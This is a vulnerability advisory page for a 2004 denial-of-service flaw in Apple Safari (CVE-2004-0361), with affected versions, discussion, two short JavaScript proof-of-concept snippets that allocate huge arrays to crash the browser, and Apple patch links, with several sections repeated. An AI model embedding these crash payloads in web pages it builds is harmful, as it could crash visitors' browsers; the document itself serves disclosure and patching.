Apple Safari Large JavaScript Array Handling Denial Of Service Vulnerability
BID:9815
Info
Apple Safari Large JavaScript Array Handling Denial Of Service Vulnerability
| Bugtraq ID: | 9815 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: |
CVE-2004-0361 |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 06 2004 12:00AM |
| Updated: | Jul 12 2009 03:06AM |
| Credit: | Discovery is credited to kang <[email protected]>. |
| Vulnerable: |
Apple Safari 1.1 Apple Safari 1.0 Apple Safari Beta 2 Apple Mac OS X Server 10.3.5 Apple Mac OS X Server 10.3.4 Apple Mac OS X Server 10.2.8 Apple Mac OS X 10.3.5 Apple Mac OS X 10.3.4 Apple Mac OS X 10.2.8 |
| Not Vulnerable: | |
Discussion
Apple Safari Large JavaScript Array Handling Denial Of Service Vulnerability
Apple Safari Web Browser is reported to be prone to a security vulnerability related to handling of large JavaScript arrays (with 99999999999999999999999 or 0x23000000 elements). By declaring such an array and then attempting to access it, it may be possible to cause a browser crash.
This issue is likely due to memory corruption but it is not known if it could be further exploitable to execute arbitrary code.
Apple Safari Web Browser is reported to be prone to a security vulnerability related to handling of large JavaScript arrays (with 99999999999999999999999 or 0x23000000 elements). By declaring such an array and then attempting to access it, it may be possible to cause a browser crash.
This issue is likely due to memory corruption but it is not known if it could be further exploitable to execute arbitrary code.
Exploit / POC
Apple Safari Large JavaScript Array Handling Denial Of Service Vulnerability
The following examples were provided:
var a = new Array(99999999999999999999999);
a[0+5]="AAAAA";
and:
var bam = new Array(0x23000000);
bam.sort(new Function("return 1"));
The following examples were provided:
var a = new Array(99999999999999999999999);
a[0+5]="AAAAA";
and:
var bam = new Array(0x23000000);
bam.sort(new Function("return 1"));
Solution / Fix
Apple Safari Large JavaScript Array Handling Denial Of Service Vulnerability
Solution:
Apple has released an advisory (APPLE-SA-0024-09-07) along with fixes to address this, and many other issues. Please see the referenced advisory for further information.
Apple Mac OS X 10.2.8
Apple Mac OS X Server 10.2.8
Apple Mac OS X 10.3.4
Apple Mac OS X Server 10.3.4
Apple Mac OS X 10.3.5
Apple Mac OS X Server 10.3.5
Solution:
Apple has released an advisory (APPLE-SA-0024-09-07) along with fixes to address this, and many other issues. Please see the referenced advisory for further information.
Apple Mac OS X 10.2.8
-
Apple SecUpd2004-09-07JagClient.dmg
http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty1.pl/product=04717&plat form=osx&method=sa/SecUpd2004-09-07JagClient.dmg
Apple Mac OS X Server 10.2.8
-
Apple SecUpdSrvr2004-09-07Jag.dmg
http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty1.pl/product=04716&plat form=osx&method=sa/SecUpdSrvr2004-09-07Jag.dmg
Apple Mac OS X 10.3.4
-
Apple SecUpd2004-09-07PanClient.dmg
http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty1.pl/product=04712&plat form=osx&method=sa/SecUpd2004-09-07PanClient.dmg
Apple Mac OS X Server 10.3.4
-
Apple SecUpdSrvr2004-09-07PanL.dmg
http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty1.pl/product=04713&plat form=osx&method=sa/SecUpdSrvr2004-09-07PanL.dmg
Apple Mac OS X 10.3.5
-
Apple SecUpd2004-09-07PanMClient.dmg
http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty1.pl/product=04715&plat form=osx&method=sa/SecUpd2004-09-07PanMClient.dmg
Apple Mac OS X Server 10.3.5
-
Apple SecUpdSrvr2004-09-07PanM.dmg
http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty1.pl/product=04714&plat form=osx&method=sa/SecUpdSrvr2004-09-07PanM.dmg
References
Apple Safari Large JavaScript Array Handling Denial Of Service Vulnerability
References:
References:
- Safari Homepage (Apple)
- Safari javascript array overflow (kang
)